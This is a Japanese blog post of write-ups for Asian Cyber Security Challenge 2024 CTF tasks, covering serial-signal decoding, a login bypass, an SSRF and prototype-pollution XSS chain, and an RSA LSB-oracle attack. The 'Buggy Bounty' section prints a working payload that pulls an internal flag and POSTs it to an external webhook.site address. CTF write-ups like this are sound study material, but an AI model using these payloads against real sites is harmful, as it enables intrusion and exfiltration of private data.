アルゴリズム弱太郎

Twitter @01futabato10

Asian Cyber Security Challenge 2024 Writeup

こんにちは、ふたばとです。

2024年3月30日、31日に開催された Asian Cyber Security Challenge 2024 に参加していました。
昨年まではタイミングが合わなかったのか…、参加した記憶が無いのでおそらく初参加です。

Asian Cyber Secuirty Challenge 2024

[hardware] An4lyz3_1t

Our surveillance team has managed to tap into a secret serial communication and capture a digital signal using a Saleae logic analyzer. Your objective is to decode the signal and uncover the hidden message.

配布ファイルをダウンロードすると .sal という見たことない拡張子のファイルが用意されていた。

$ file chall.sal
chall.sal: Zip archive data, at least v2.0 to extract

Zip で圧縮されているので解凍すると .bin が出てきた。

$ ls chall
digital-0.bin  digital-2.bin  digital-4.bin  digital-6.bin  meta.json
digital-1.bin  digital-3.bin  digital-5.bin  digital-7.bin
$ file digital-0.bin
digital-0.bin: data

このままでは何もできないので、「CTF salファイル」等で検索すると類題らしき Writeup をいくつか見つけられた。

この問題がその類題であると仮定すると、saleae 社の Logic2 というソフトウェアを使えばよいらしい。

www.saleae.com

Logic2 で chall.sal を開くと以下のような画面になり、Channel 4 に波形データが存在した。
過去の Writeup によると、この波形データをデコードするには Logic2 の async serial 機能を使えばよいとのことである。

Logic2

Input Channel04. Channel 4を選択し、Bit Rate (Bits/s)57600 を入力する。
最も一般的なボーレート(baud rate) は (9600, 14400, 19200, 38400, 57600, 115200) であるらしいので 57600 を入力した。

画面右の Terminal というボタンを押すとデコードされた文字列が出現した。

Async Serial

ACSC{b4by4n4lyz3r_548e8c80e}

[web] Login!

Here comes yet another boring login page ...

問題サーバへアクセスすると、シンプルなログインページが待ち受ける。

Login!

ソースコード app.js の内容は以下のとおりである。

const express = require('express');
const crypto = require('crypto');
const FLAG = process.env.FLAG || 'flag{this_is_a_fake_flag}';

const app = express();
app.use(express.urlencoded({ extended: true }));

const USER_DB = {
    user: {
        username: 'user', 
        password: crypto.randomBytes(32).toString('hex')
    },
    guest: {
        username: 'guest',
        password: 'guest'
    }
};

app.get('/', (req, res) => {
    res.send(`
    <html><head><title>Login</title><link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css"></head>
    <body>
    <section>
    <h1>Login</h1>
    <form action="/login" method="post">
    <input type="text" name="username" placeholder="Username" length="6" required>
    <input type="password" name="password" placeholder="Password" required>
    <button type="submit">Login</button>
    </form>
    </section>
    </body></html>
    `);
});

app.post('/login', (req, res) => {
    const { username, password } = req.body;
    if (username.length > 6) return res.send('Username is too long');

    const user = USER_DB[username];
    if (user && user.password == password) {
        if (username === 'guest') {
            res.send('Welcome, guest. You do not have permission to view the flag');
        } else {
            res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
        }
    } else {
        res.send('Invalid username or password');
    }
});

app.listen(5000, () => {
    console.log('Server is running on port 5000');
});

ソースコードを読んで気になるのは以下の二点である。

  • if (username.length > 6)
  • user.password == password

USER_DB には user, guest の二種類のデータが用意されており、username=guest&password=guest でログイン可能である。 しかし L41 の条件分岐によって、guest で素直にログインしてしまうと FLAG は得られない。

L41 ではご丁寧に厳密等価演算子が使われているが L40 では使われていないことから暗黙の型変換で user としてなんとかログインすることができないかと考えたが、userpassword はランダムな値なので特定することは現実的でなさそう。

user としてログインすることは難しいため、guest の情報を使ってどうにかする。
L40 の user.password == passwordguestpassword 情報を利用するので、guestusername 情報をどうにかする。意味深な if (username.length > 6) が用意されているので、方針は合っていそうだ。

解決策としては、username を配列にして送信してやればよい。 L6 にて app.use(express.urlencoded({ extended: true })); と設定されていることから、データを配列として解釈してくれるようになっている。

username[]=guest&password=guest としてリクエストを送ると、username.length は1になる。 暗黙の型変換によって USER_DB から guest の情報が取れるようになり、さらに ['guest'] を厳密等価演算子'guest' と比較すると False になるため、条件分岐を搔い潜って FLAG が得られる。

$ node
Welcome to Node.js v20.8.0.
Type ".help" for more information.
> const USER_DB = {
...     guest: {
...         username: 'guest',
...         password: 'guest'
...     }
... };
undefined
> const username = ['guest']
undefined
> username == 'guest'
true
> username === 'guest'
false
> USER_DB[username]
{ username: 'guest', password: 'guest' }
> 
ACSC{y3t_an0th3r_l0gin_byp4ss}

[web] Too Faulty

The admin at TooFaulty has led an overhaul of their authentication mechanism. This initiative includes the incorporation of Two-Factor Authentication and the assurance of a seamless login process through the implementation of a unique device identification solution.

Too Faulty

問題サーバへアクセスすると、同じようにシンプルなログインページが待ち受ける。

初手、何も考えずに {"username":"admin","password":"admin"} でリクエストを送る。

!?!??!?!?!????!?!??!?!

ん~…。またオレ何かやっちゃいました? フラグが得られてしまった。

ACSC{T0o_F4ulty_T0_B3_4dm1n}

[web] Buggy Bounty

Are you a skilled security researcher or ethical hacker looking for a challenging and rewarding opportunity? Look no further! We're excited to invite you to participate in our highest-paying Buggy Bounty Program yet.

問題サーバへアクセスすると、フォームが用意されている。
適当な情報を入力して、Submit ボタンを押すと、数秒後に Reward が表示される。同じ入力を与えても Reward は毎回異なるランダムな値である。
この画面でそれ以外にできることはなさそうだ。

Bugy Bounty

ソースコードが提供されているので、読んで外観を掴む。

まず、docker-compose.yml を確認すると、bugbountyreward の2つのサービスによって構成されていることがわかる。
docker-compose.yml の設定から、reward サービスへは直接アクセスすることはできず、bugbounty サービスからアクセスする必要があることがわかる。

bugbounty/app/routes/router.js には、/, /triage, /report_bug, /check_valid_url の4つの API エンドポイントが実装されている。 フォームに入力した情報を送信した際に機能しているのは /report_bug で、その中で http://127.0.0.1/triage?id=${id}&url=${url}&report=${report}/triage が使われているのがわかる。
しかし、他のファイルを見ても /check_valid_url が使われていないことがとても気になった。

bugbounty/app/routes/router.js の実装は以下のとおりである。

const { isAdmin, authSecret } = require("../utils/auth.js");
const express = require("express");
const router = express.Router({ caseSensitive: true });
const visit = require("../utils/bot.js");
const request = require("request");
const ssrfFilter = require("ssrf-req-filter");

router.get("/", (req, res) => {
  return res.render("index.html");
});

router.get("/triage", (req, res) => {
  try {
    if (!isAdmin(req)) {
      return res.status(401).send({
        err: "Permission denied",
      });
    }
    let bug_id = req.query.id;
    let bug_url = req.query.url;
    let bug_report = req.query.report;

    return res.render("triage.html", {
      id: bug_id,
      url: bug_url,
      report: bug_report,
    });
  } catch (e) {
    res.status(500).send({
      error: "Server Error",
    });
  }
});

router.post("/report_bug", async (req, res) => {
  try {
    const id = req.body.id;
    const url = req.body.url;
    const report = req.body.report;
    await visit(
      `http://127.0.0.1/triage?id=${id}&url=${url}&report=${report}`,
      authSecret
    );
  } catch (e) {
    console.log(e);
    return res.render("index.html", { err: "Server Error" });
  }
  const reward = Math.floor(Math.random() * (100 - 10 + 1)) + 10;
  return res.render("index.html", {
    message: "Rewarded " + reward + "$",
  });
});

router.get("/check_valid_url", async (req, res) => {
  try {
    if (!isAdmin(req)) {
      return res.status(401).send({
        err: "Permission denied",
      });
    }

    const report_url = req.query.url;
    const customAgent = ssrfFilter(report_url);
    
    request(
      { url: report_url, agent: customAgent },
      function (error, response, body) {
        if (!error && response.statusCode == 200) {
          res.send(body);
        } else {
          console.error("Error:", error);
          res.status(500).send({ err: "Server error" });
        }
      }
    );
  } catch (e) {
    res.status(500).send({
      error: "Server Error",
    });
  }
});

process.on("uncaughtException", (error) => {
  console.error("Uncaught Exception:", error);
});

process.on("unhandledRejection", (reason, promise) => {
  console.error("Unhandled Rejection at:", promise, "reason:", reason);
});

module.exports = () => {
  return router;
};

次に、/report_bug で使われている visit 関数を追う。
visit 関数は、bugbounty/app/utils/bot.js で実装されており、ソースコードは以下のとおりである。

const visit = async (url, authSecret) => {
  try {
    const browser = await puppeteer.launch(browser_options);
    let context = await browser.createIncognitoBrowserContext();
    let page = await context.newPage();

    await page.setCookie({
      name: "auth",
      value: authSecret,
      domain: "127.0.0.1",
    });
    
    await page.goto(url, {
      waitUntil: "networkidle2",
      timeout: 5000,
    });
    await page.waitForTimeout(4000);
    await browser.close();
  } catch (e) {
    console.log(e);
  }
};

また、bugbounty/app/routes/router.js/triage, /check_valid_url には isAdmin 関数を通り抜ける必要がある。
isAdmin 関数は、bugbounty/app/utils/auth.js で実装されており、ソースコードは以下のとおりである。

const authSecret = require("crypto").randomBytes(70).toString("hex");

const isAdmin = (req, res) => {
  return req.ip === "127.0.0.1" && req.cookies["auth"] === authSecret;
};

module.exports = {
  authSecret,
  isAdmin,
};

そして、reward サービスには、Dockerfile のほかに app.py のみ用意されている。
ソースコードは以下のとおりで、http://reward:5000/bounty に GET リクエストを送ると FLAG が得られることがわかる。

from flask import Flask
import os

app = Flask(__name__)


@app.route('/bounty', methods=['GET'])
def get_bounty():
    flag = os.environ.get('FLAG')
    if flag:
        return flag


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False)

ここまでの内容を整理すると、bugbounty サービスで動く Bothttp://reward:5000/bounty へアクセスさせることができれば FLAG が得られるということになる。

確かに、docker-compose.yml の設定より、bugbounty サービスから reward サービスへリクエストを送ってみると、FLAG が得られる。

$ docker compose up -d
$ docker compose exec -it bugbounty bash
root@b80d7ff0f11f:/app# curl http://reward:5000/bounty
ACSC{FAKE_FLAG}root@b80d7ff0f11f:/app# 

これを Bot にやらせるイメージだ。
これを実現するために、XSSSSRF脆弱性が存在していると嬉しい。

使われていない /check_valid_url は指定された URL のコンテンツを取得してくれるので、http://reward:5000/bounty の URL を与えて FLAG を持ってきてくれることが期待できる。 しかし /check_valid_url には、ssrf-req-filter が張られており、単純な SSRF はできないように思える。
「ssrf-req-filter bypass」で検索すると、以下の記事がヒットした。

redfishiaven.medium.com

どうやらプロトコルを変えて、HTTPS → HTTP へリダイレクトさせればよいらしい。 記事に沿って、URL を組み立てることで以下の URL が得られた。

https://tellico.fun/redirect.php?target=http://reward:5000/bounty

この URL を /check_valid_url に与えると、reward サービスにアクセスできることが確認できた。

root@b80d7ff0f11f:/app# curl http://reward:5000/bounty
ACSC{FAKE_FLAG}root@b80d7ff0f11f:/app# curl http://127.0.0.1/check_valid_url?url=https://tellico.fun/redirect.php?target=http://reward:5000/bounty
ACSC{FAKE_FLAG}root@b80d7ff0f11f:/app# 

これで ssrf-req-filter を回避してリクエストを送ることができた。

さて、XSS ができないか物色していると、bugbounty/app/views/triage.html では4つの JavaScript ファイルを読み込んでいることに気づく。

    <script
      src="/public/js/launch-ENa21cfed3f06f4ddf9690de8077b39e81-development.min.js"
      async
    ></script>
    <script src="/public/js/jquery.min.js"></script>
    <script src="/public/js/arg-1.4.js"></script>
    <script src="/public/js/widget.js"></script>

そして、bugbounty/app/package.json を確認すると request モジュールのみバージョンが指定されていることが気になった。

「"https://assets.adobedtm.com/launch-ENa21cfed3f06f4ddf9690de8077b39e81-development.js" cve」で検索すると過去の CTF の Writeup を発見した。
その問題では同じバージョン(ENa21cfed3f06f4ddf9690de8077b39e81)の JavaScript ファイルが使われており、このファイルには Prototype Pollution脆弱性があることがわかる。

github.com

ちなみに、bugbounty/app/public/js/arg-1.4.js を確認してみると、L3 にて arg.js - v1.4 と記述されており、バージョンが指定されていることから脆弱性が存在していると予想できる。

「arg.js - v1.4 vulnerability」で検索すると以下の記事がヒットした。

github.com

args.js v1.4 にも Prototype Pollution の脆弱性が存在しているようだ。

ちなみに2、「request npm v2.88.0 ssrf cve」で検索すると以下のページがヒットした。
CVE-2023-28155 として SSRF の脆弱性が報告されていた。

github.com

request モジュールは bugbounty/app/routes/router.js L65-L74 で使われており、ssrf-req-filter を掻い潜って SSRF するというアプローチは正しそうだ。

    request(
      { url: report_url, agent: customAgent },
      function (error, response, body) {
        if (!error && response.statusCode == 200) {
          res.send(body);
        } else {
          console.error("Error:", error);
          res.status(500).send({ err: "Server error" });
        }
      }
    );

さて、Prototype Pollution の脆弱性を突く PoC は ?__proto__[src]=data:,alert(1)// であったので、このペイロードを用いてアラートが機能するかを確かめてみる。

alert!!

alert(1) の部分を webhook.site へ fetch するように置き換えてやれば、以下の URL によって webhook.site へリクエストが飛ぶことがわかる。

http://localhost/triage?__proto__[src]=data:,fetch(%27https://webhook.site/7f9182d3-4b6c-42b0-b3f8-6a1340d96784%27)//

これにて XSS があることがわかったので、SSRF と組み合わせて FLAG を獲りにいく。

/check_valid_url で取得する http://reward:5000/bounty のコンテンツを webhook.site へ送信する JavaScript のコードは例えば以下のように書ける。

fetch(
  "http://127.0.0.1/check_valid_url?furl=https://tellico.fun/redirect.php?target=http://reward:5000/bounty"
).then(function (response) {
  response.text().then(function (response) {
    fetch("https://webhook.site/7f9182d3-4b6c-42b0-b3f8-6a1340d96784", {
      method: "POST",
      body: response,
    });
  });
});

ローカルの環境で上記のコードを実行すると、webhook.site にダミーの FLAGである ACSC{FAKE_FLAG} の文字列が確認できる。

よって、最終的なペイロードは以下のとおりである。

&__proto__[src]=data:, fetch("http://127.0.0.1/check_valid_url\x3furl\x3dhttps://tellico.fun/redirect.php\x3ftarget\x3dhttp://reward:5000/bounty").then(function(response){response.text().then(function(response){fetch("https://webhook.site/7f9182d3-4b6c-42b0-b3f8-6a1340d96784",{method:"POST",body:response})})})//

なお、?\x3d, =\x3d と変換している。

root@b80d7ff0f11f:/app# node 
Welcome to Node.js v21.7.1.
Type ".help" for more information.
> '\x3f'
'?'
> '\x3d'
'='
> 

id, url, report は単なる文字列なので雑に入力を与えて、ペイロードを載せてリクエストを送ると、webhook.site に FLAG が届けられる。

{"id":"a","url":"a","report":"a&__proto__[src]=data:, fetch(\"http://127.0.0.1/check_valid_url\\x3furl\\x3dhttps://tellico.fun/redirect.php\\x3ftarget\\x3dhttp://reward:5000/bounty\").then(function(response){response.text().then(function(response){fetch(\"https://webhook.site/7f9182d3-4b6c-42b0-b3f8-6a1340d96784\",{method:\"POST\",body:response})})})//"}
ACSC{y0u_4ch1eved_th3_h1ghest_r3w4rd_1n_th3_Buggy_Bounty_pr0gr4m}

[crypto] RSA Stream2

I made a stream cipher out of RSA! note: The name 'RSA Stream2' is completely unrelated to the 'RSA Stream' challenge in past ACSC. It is merely the author's whimsical choice and prior knowledge of 'RSA Stream' is not required.

問題文そのままに、RSA で Stream 暗号を作ったらしい。

まずは chal_redacted.py の暗号化処理フローを見ていく。

from Crypto.Util.number import getPrime
import random
import re


p = getPrime(512)
q = getPrime(512)
e = 65537
n = p * q
d = pow(e, -1, (p - 1) * (q - 1))

m = random.randrange(2, n)
c = pow(m, e, n)

text = open(__file__, "rb").read()
ciphertext = []
for b in text:
    o = 0
    for i in range(8):
        bit = ((b >> i) & 1) ^ (pow(c, d, n) % 2)
        c = pow(2, e, n) * c % n
        o |= bit << i
    ciphertext.append(o)


open("chal.py.enc", "wb").write(bytes(ciphertext))
redacted = re.sub("flag = \"ACSC{(.*)}\"", "flag = \"ACSC{*REDACTED*}\"", text.decode())
open("chal_redacted.py", "w").write(redacted)
print("n =", n)

# flag = "ACSC{*REDACTED*}"

平文 text__file__ であるから、この chal_redacted.py 自身を暗号化したものが配布ファイルの chal.py.enc であると推測した。
L30 の # flag = "ACSC{*REDACTED*}" は L26 の処理で置き換えられてしまったものであるため、復号アルゴリズムを用いて本来のソースコードを復元することが目標になる。

コードを前から読んでいくと、まず、c が key stream になっているのかなと考えられる。
L20 bit = ((b >> i) & 1) ^ (pow(c, d, n) % 2) では 「bi bit 目 」と 「pow(c, d, n) の最下位 bit」との XOR を取っている。
その直後 L21 にて key stream cpow(2, e, n) * c % n で更新されている。ここはポイントになりそうだ。

もう少し丁寧に考える。
L20 pow(c, d, n)m であるため、((b >> i) & 1) ^ (m % 2) より変数 bitm の最下位ビットの情報を知ることができる。
L21 pow(2, e, n) * c % nRSA の準同型性より、以下のように pow(2 *m, e, n) と変形可能なので、復号した結果の 2*m (mod n) の最下位ビット、つまり m の偶奇を知ることができる。

 c = m^{e} \ (\mod n) \\
c * (2^{e}) = m^{e} * (2^{e}) \ (\mod n) \\
m^{e} * (2^{e}) = (2*m)^{e} \ (\mod n)

したがって、

 (2^{e}) * c = (2*m)^e (\mod n)

が成立する。

n は奇数、また 2*m < 2*n より、
2*m (mod n) が偶数であれば 2*m <= n , 奇数であれば 2*m > n となる。
これは mod n の世界で考えているため、2倍して n を超えた時に奇数になる可能性があるためである。

この性質を利用することで、
偶数であれば 0 <= m <= 2/n
奇数であれば 2/n < m < n
m の範囲を絞ることができる。

この二分探索の操作を繰り返すことで m を復元可能になる。

これまでの話をまとめると、この問題は LSB オラクルとして振舞うため、m を再構築したうえで暗号化処理フローの逆を辿ることで復号ができそうだ。

from fractions import Fraction

# Given values
n: int = 106362501554841064194577568116396970220283331737204934476094342453631371019436358690202478515939055516494154100515877207971106228571414627683384402398675083671402934728618597363851077199115947762311354572964575991772382483212319128505930401921511379458337207325937798266018097816644148971496405740419848020747
e: int = 65537

with open("chal_redacted.py", "rb") as f:
    plain_text: bytes = f.read()

with open("chal.py.enc", "rb") as f:
    cipher_text: bytes = f.read()

bits: list[int] = []
plain_bits: list[int] = []
cipher_bits: list[int] = []

for plain_bit in plain_text:
    for i in range(8):
        plain_bits.append((plain_bit >> i) & 1)

for cipher_bit in cipher_text:
    for i in range(8):
        cipher_bits.append((cipher_bit >> i) & 1)

# Calculate the XOR of the plaintext and ciphertext bits
for i in range(len(plain_bits)):
    bits.append(plain_bits[i] ^ cipher_bits[i])

bits = bits[1:]

# Binary search to find the value of m
left = Fraction(0)
right = Fraction(n)

for i in range(len(bits)):
    middle = (left + right) / Fraction(2)
    if bits[i] == 0:
        right = middle
    else:
        left = middle

m: int = round(right)
print(f"{m=}")

# Decrypt the ciphertext using the calculated m
decrypted_text: list[int] = []
for b in cipher_text:
    o = 0
    for i in range(8):
        bit = ((b >> i) & 1) ^ (m % 2)
        m = (m * 2) % n
        o |= bit << i
    decrypted_text.append(o)

# Print the decrypted plaintext
print(bytes(decrypted_text).decode("utf-8"))

上記のコードを実行することで元のソースコードが復元できる。 なお、小数点の切り捨て誤差を無くすために、fractions モジュールを利用して有理数計算を行っている。

m=105507372927051948805576931127617234388271424225133622890937140386993850840162894266093638058537032250348290776533140408439449316584989419619021206055123435007220387282181718562182584142410220220213116104633657881011851209081980740275983356817964550820718090983066924630733151959181612233123093492463207706540
from Crypto.Util.number import getPrime
import random
import re


p = getPrime(512)
q = getPrime(512)
e = 65537
n = p * q
d = pow(e, -1, (p - 1) * (q - 1))

m = random.randrange(2, n)
c = pow(m, e, n)

text = open(__file__, "rb").read()
ciphertext = []
for b in text:
    o = 0
    for i in range(8):
        bit = ((b >> i) & 1) ^ (pow(c, d, n) % 2)
        c = pow(2, e, n) * c % n
        o |= bit << i
    ciphertext.append(o)


open("chal.py.enc", "wb").write(bytes(ciphertext))
redacted = re.sub("flag = \"ACSC{(.*)}\"", "flag = \"ACSC{*REDACTED*}\"", text.decode())
open("chal_redacted.py", "w").write(redacted)
print("n =", n)

# flag = "ACSC{RSA_is_not_for_the_stream_cipher_bau_bau}"
ACSC{RSA_is_not_for_the_stream_cipher_bau_bau}